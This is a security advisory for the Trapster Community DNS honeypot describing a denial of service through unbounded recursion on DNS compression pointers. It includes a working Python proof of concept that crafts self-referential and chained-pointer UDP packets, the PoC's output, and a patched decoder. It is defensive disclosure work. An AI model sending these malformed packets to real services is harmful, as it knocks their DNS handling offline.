GHSA-MXWC-WH95-PW4G
Vulnerability from github – Published: 2026-07-08 20:24 – Updated: 2026-07-08 20:24
VLAI
Summary
Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler
Details
Summary
trapster.libs.dns.decode_labels() decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising RecursionError. That exception is not handled anywhere on the datagram_received path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).
Severity
Medium (CVSS:3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.
Affected component
- File:
trapster/libs/dns.py, functiondecode_labels()(called bydecode_question_section→decode_dns_message). - Reached from:
trapster/modules/dns.py,DnsUdpProtocol.datagram_received()→dns.decode_dns_message(data), wheredatais the raw attacker UDP payload received byDnsHoneypoton its configured bind address/port. - Version tested: latest
mainat commit23156739de23816657cbc4582ad32094ed1cab43.
Details
decode_labels implements RFC 1035 §4.1.4 name compression:
def decode_labels(message, offset):
labels = []
while True:
length, = struct.unpack_from("!B", message, offset)
if (length & 0xC0) == 0xC0:
pointer, = struct.unpack_from("!H", message, offset)
offset += 2
return labels + decode_labels(message, pointer & 0x3FFF), offset # <-- recurses per pointer
...
Each compression pointer triggers a fresh recursive call to decode_labels. There is:
- No cycle detection — a pointer that targets its own offset recurses forever.
- No depth bound — a chain of distinct forward pointers recurses once per pointer.
Either shape exhausts the Python stack and raises RecursionError. decode_dns_message does not catch it, and in DnsUdpProtocol.datagram_received the call dns.decode_dns_message(data) is unguarded, so the exception propagates out of datagram_received into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.
This is the same class of bug fixed upstream in python-zeroconf (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.
Proof of Concept
Real-deploy E2E. The actual trapster.modules.dns.DnsHoneypot server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes datagram_received.
e2e_poc.py:
import asyncio, struct, socket, sys
from trapster.modules.dns import DnsHoneypot
from trapster.logger.base import BaseLogger
HOST, PORT = "127.0.0.1", 15353
captured_loop_exceptions = []
def build_benign_query(qname=b"example.com"):
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"\x00"
return header + labels + struct.pack("!2H", 1, 1)
def build_self_pointer():
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
name = struct.pack("!H", 0xC000 | 12) # pointer to offset 12 == this name
return header + name + struct.pack("!2H", 1, 1)
def build_pointer_chain(depth=2000):
header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
name = struct.pack("!H", 0xC000 | 18)
qtail = struct.pack("!2H", 1, 1)
chain = bytearray()
for i in range(depth):
chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1)))
chain += b"\x00"
return header + name + qtail + bytes(chain)
def send_udp(payload, timeout=1.0):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)
s.sendto(payload, (HOST, PORT))
try: return s.recvfrom(4096)[0]
except socket.timeout: return None
finally: s.close()
async def main():
loop = asyncio.get_running_loop()
def handler(loopobj, context):
exc = context.get("exception")
captured_loop_exceptions.append((repr(exc), context.get("message")))
print(f"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get('message')}")
loop.set_exception_handler(handler)
hp = DnsHoneypot(config={"port": PORT, "target_dns": "127.0.0.1"},
logger=BaseLogger(node_id="e2e"), bindaddr=HOST)
await hp.start(); await asyncio.sleep(0.4)
print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\n")
print("=== NEGATIVE CONTROL: benign query example.com A ===")
captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)
print(f" loop exceptions after benign packet: {len(captured_loop_exceptions)}")
assert len(captured_loop_exceptions) == 0
print(" -> benign packet parsed cleanly, no exception\n")
print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
captured_loop_exceptions.clear(); pkt = build_self_pointer()
print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
send_udp(pkt); await asyncio.sleep(0.5)
print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
for e in captured_loop_exceptions: print(f" {e}")
assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
print(" -> RecursionError escaped datagram_received (DoS, no cycle guard)\n")
print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)
print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
send_udp(pkt); await asyncio.sleep(0.5)
print(f" loop exceptions captured: {len(captured_loop_exceptions)}")
for e in captured_loop_exceptions: print(f" {e}")
assert any("RecursionError" in e[0] for e in captured_loop_exceptions)
print(" -> RecursionError escaped datagram_received (DoS, no depth bound)\n")
await hp.stop(); print("ALL ASSERTIONS PASSED")
if __name__ == "__main__":
sys.setrecursionlimit(1000)
asyncio.run(main())
Verbatim run against the deployed honeypot at commit 23156739de23816657cbc4582ad32094ed1cab43:
[deploy] DnsHoneypot listening on udp://127.0.0.1:15353
=== NEGATIVE CONTROL: benign query example.com A ===
loop exceptions after benign packet: 0
-> benign packet parsed cleanly, no exception
=== VECTOR A: single self-referential compression pointer (cycle) ===
packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
loop exceptions captured: 1
("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
-> RecursionError escaped datagram_received (DoS, no cycle guard)
=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===
packet (4019 bytes) = 2000-deep forward pointer chain
[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()
loop exceptions captured: 1
("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback _SelectorDatagramTransport._read_ready()')
-> RecursionError escaped datagram_received (DoS, no depth bound)
ALL ASSERTIONS PASSED
The negative control (a well-formed example.com A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.
Impact
Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution.
Suggested fix
Make decode_labels iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors dnspython's biggest_pointer design and the zeroconf depth-bound fix.) Replace the bare raise "unknown label encoding" with a real exception, and consider wrapping dns.decode_dns_message(data) in DnsUdpProtocol.datagram_received in a try/except so a malformed packet is logged once rather than escaping to the loop handler.
Verified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to ValueError with no recursion):
def decode_labels(message, offset):
labels = []
return_offset = None
max_allowed_pointer = len(message)
while True:
length, = struct.unpack_from("!B", message, offset)
if (length & 0xC0) == 0xC0:
pointer, = struct.unpack_from("!H", message, offset)
if return_offset is None:
return_offset = offset + 2
target = pointer & 0x3FFF
if target >= max_allowed_pointer:
raise ValueError("invalid DNS compression pointer")
max_allowed_pointer = target
offset = target
continue
if (length & 0xC0) != 0x00:
raise ValueError("unknown label encoding")
offset += 1
if length == 0:
return labels, return_offset if return_offset is not None else offset
labels.append(*struct.unpack_from("!%ds" % length, message, offset))
try:
labels[-1] = labels[-1].decode()
except UnicodeDecodeError:
labels[-1] = str(labels[-1])
offset += length
A fix PR will be supplied from a temporary private fork during the embargo.
Credit
Discovered and reported by tonghuaroot.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "trapster"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-08T20:24:46Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`trapster.libs.dns.decode_labels()` decodes DNS names from attacker-supplied UDP packets and recurses **once per RFC 1035 compression pointer** with **no cycle detection and no depth bound**. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython\u0027s recursion limit, raising `RecursionError`. That exception is not handled anywhere on the `datagram_received` path, so it escapes into the asyncio event loop\u0027s default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).\n\n## Severity\n\nMedium (CVSS:3.1 `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L`). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.\n\n## Affected component\n\n- File: `trapster/libs/dns.py`, function `decode_labels()` (called by `decode_question_section` \u2192 `decode_dns_message`).\n- Reached from: `trapster/modules/dns.py`, `DnsUdpProtocol.datagram_received()` \u2192 `dns.decode_dns_message(data)`, where `data` is the raw attacker UDP payload received by `DnsHoneypot` on its configured bind address/port.\n- Version tested: latest `main` at commit `23156739de23816657cbc4582ad32094ed1cab43`.\n\n## Details\n\n`decode_labels` implements RFC 1035 \u00a74.1.4 name compression:\n\n```python\ndef decode_labels(message, offset):\n labels = []\n while True:\n length, = struct.unpack_from(\"!B\", message, offset)\n if (length \u0026 0xC0) == 0xC0:\n pointer, = struct.unpack_from(\"!H\", message, offset)\n offset += 2\n return labels + decode_labels(message, pointer \u0026 0x3FFF), offset # \u003c-- recurses per pointer\n ...\n```\n\nEach compression pointer triggers a fresh recursive call to `decode_labels`. There is:\n\n- **No cycle detection** \u2014 a pointer that targets its own offset recurses forever.\n- **No depth bound** \u2014 a chain of distinct forward pointers recurses once per pointer.\n\nEither shape exhausts the Python stack and raises `RecursionError`. `decode_dns_message` does not catch it, and in `DnsUdpProtocol.datagram_received` the call `dns.decode_dns_message(data)` is unguarded, so the exception propagates out of `datagram_received` into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop\u0027s default exception handler logs a full traceback for every packet.\n\nThis is the same class of bug fixed upstream in `python-zeroconf` (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.\n\n## Proof of Concept\n\nReal-deploy E2E. The actual `trapster.modules.dns.DnsHoneypot` server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes `datagram_received`.\n\n`e2e_poc.py`:\n\n```python\nimport asyncio, struct, socket, sys\nfrom trapster.modules.dns import DnsHoneypot\nfrom trapster.logger.base import BaseLogger\n\nHOST, PORT = \"127.0.0.1\", 15353\ncaptured_loop_exceptions = []\n\ndef build_benign_query(qname=b\"example.com\"):\n header = struct.pack(\"!6H\", 0x1234, 0x0100, 1, 0, 0, 0)\n labels = b\"\".join(struct.pack(\"!B\", len(p)) + p for p in qname.split(b\".\")) + b\"\\x00\"\n return header + labels + struct.pack(\"!2H\", 1, 1)\n\ndef build_self_pointer():\n header = struct.pack(\"!6H\", 0x1234, 0x0100, 1, 0, 0, 0)\n name = struct.pack(\"!H\", 0xC000 | 12) # pointer to offset 12 == this name\n return header + name + struct.pack(\"!2H\", 1, 1)\n\ndef build_pointer_chain(depth=2000):\n header = struct.pack(\"!6H\", 0x1234, 0x0100, 1, 0, 0, 0)\n name = struct.pack(\"!H\", 0xC000 | 18)\n qtail = struct.pack(\"!2H\", 1, 1)\n chain = bytearray()\n for i in range(depth):\n chain += struct.pack(\"!H\", 0xC000 | (18 + 2 * (i + 1)))\n chain += b\"\\x00\"\n return header + name + qtail + bytes(chain)\n\ndef send_udp(payload, timeout=1.0):\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); s.settimeout(timeout)\n s.sendto(payload, (HOST, PORT))\n try: return s.recvfrom(4096)[0]\n except socket.timeout: return None\n finally: s.close()\n\nasync def main():\n loop = asyncio.get_running_loop()\n def handler(loopobj, context):\n exc = context.get(\"exception\")\n captured_loop_exceptions.append((repr(exc), context.get(\"message\")))\n print(f\"[loop-exception-handler] {type(exc).__name__ if exc else None}: {context.get(\u0027message\u0027)}\")\n loop.set_exception_handler(handler)\n\n hp = DnsHoneypot(config={\"port\": PORT, \"target_dns\": \"127.0.0.1\"},\n logger=BaseLogger(node_id=\"e2e\"), bindaddr=HOST)\n await hp.start(); await asyncio.sleep(0.4)\n print(f\"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}\\n\")\n\n print(\"=== NEGATIVE CONTROL: benign query example.com A ===\")\n captured_loop_exceptions.clear(); send_udp(build_benign_query()); await asyncio.sleep(0.3)\n print(f\" loop exceptions after benign packet: {len(captured_loop_exceptions)}\")\n assert len(captured_loop_exceptions) == 0\n print(\" -\u003e benign packet parsed cleanly, no exception\\n\")\n\n print(\"=== VECTOR A: single self-referential compression pointer (cycle) ===\")\n captured_loop_exceptions.clear(); pkt = build_self_pointer()\n print(f\" packet ({len(pkt)} bytes) name field = pointer 0xC00C -\u003e offset 12 (itself)\")\n send_udp(pkt); await asyncio.sleep(0.5)\n print(f\" loop exceptions captured: {len(captured_loop_exceptions)}\")\n for e in captured_loop_exceptions: print(f\" {e}\")\n assert any(\"RecursionError\" in e[0] for e in captured_loop_exceptions)\n print(\" -\u003e RecursionError escaped datagram_received (DoS, no cycle guard)\\n\")\n\n print(\"=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===\")\n captured_loop_exceptions.clear(); pkt = build_pointer_chain(2000)\n print(f\" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain\")\n send_udp(pkt); await asyncio.sleep(0.5)\n print(f\" loop exceptions captured: {len(captured_loop_exceptions)}\")\n for e in captured_loop_exceptions: print(f\" {e}\")\n assert any(\"RecursionError\" in e[0] for e in captured_loop_exceptions)\n print(\" -\u003e RecursionError escaped datagram_received (DoS, no depth bound)\\n\")\n\n await hp.stop(); print(\"ALL ASSERTIONS PASSED\")\n\nif __name__ == \"__main__\":\n sys.setrecursionlimit(1000)\n asyncio.run(main())\n```\n\nVerbatim run against the deployed honeypot at commit `23156739de23816657cbc4582ad32094ed1cab43`:\n\n```\n[deploy] DnsHoneypot listening on udp://127.0.0.1:15353\n\n=== NEGATIVE CONTROL: benign query example.com A ===\n loop exceptions after benign packet: 0\n -\u003e benign packet parsed cleanly, no exception\n\n=== VECTOR A: single self-referential compression pointer (cycle) ===\n packet (18 bytes) name field = pointer 0xC00C -\u003e offset 12 (itself)\n[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()\n loop exceptions captured: 1\n (\"RecursionError(\u0027maximum recursion depth exceeded in comparison\u0027)\", \u0027Exception in callback _SelectorDatagramTransport._read_ready()\u0027)\n -\u003e RecursionError escaped datagram_received (DoS, no cycle guard)\n\n=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===\n packet (4019 bytes) = 2000-deep forward pointer chain\n[loop-exception-handler] RecursionError: Exception in callback _SelectorDatagramTransport._read_ready()\n loop exceptions captured: 1\n (\"RecursionError(\u0027maximum recursion depth exceeded in comparison\u0027)\", \u0027Exception in callback _SelectorDatagramTransport._read_ready()\u0027)\n -\u003e RecursionError escaped datagram_received (DoS, no depth bound)\n\nALL ASSERTIONS PASSED\n```\n\nThe negative control (a well-formed `example.com` A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.\n\n## Impact\n\nAny host able to send UDP to the DNS honeypot\u0027s bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution.\n\n## Suggested fix\n\nMake `decode_labels` iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors `dnspython`\u0027s `biggest_pointer` design and the zeroconf depth-bound fix.) Replace the bare `raise \"unknown label encoding\"` with a real exception, and consider wrapping `dns.decode_dns_message(data)` in `DnsUdpProtocol.datagram_received` in a try/except so a malformed packet is logged once rather than escaping to the loop handler.\n\nVerified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to `ValueError` with no recursion):\n\n```python\ndef decode_labels(message, offset):\n labels = []\n return_offset = None\n max_allowed_pointer = len(message)\n while True:\n length, = struct.unpack_from(\"!B\", message, offset)\n if (length \u0026 0xC0) == 0xC0:\n pointer, = struct.unpack_from(\"!H\", message, offset)\n if return_offset is None:\n return_offset = offset + 2\n target = pointer \u0026 0x3FFF\n if target \u003e= max_allowed_pointer:\n raise ValueError(\"invalid DNS compression pointer\")\n max_allowed_pointer = target\n offset = target\n continue\n if (length \u0026 0xC0) != 0x00:\n raise ValueError(\"unknown label encoding\")\n offset += 1\n if length == 0:\n return labels, return_offset if return_offset is not None else offset\n labels.append(*struct.unpack_from(\"!%ds\" % length, message, offset))\n try:\n labels[-1] = labels[-1].decode()\n except UnicodeDecodeError:\n labels[-1] = str(labels[-1])\n offset += length\n```\n\nA fix PR will be supplied from a temporary private fork during the embargo.\n\n## Credit\n\nDiscovered and reported by tonghuaroot.",
"id": "GHSA-mxwc-wh95-pw4g",
"modified": "2026-07-08T20:24:46Z",
"published": "2026-07-08T20:24:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/0xBallpoint/trapster-community/security/advisories/GHSA-mxwc-wh95-pw4g"
},
{
"type": "PACKAGE",
"url": "https://github.com/0xBallpoint/trapster-community"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "Trapster Community: Unauthenticated malformed DNS compression pointers crash per-packet honeypot handler"
}
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| Author | Source | Type | Date | Other |
|---|
Nomenclature
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vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Browse all ATT&CK techniques and the vulnerabilities related to each.
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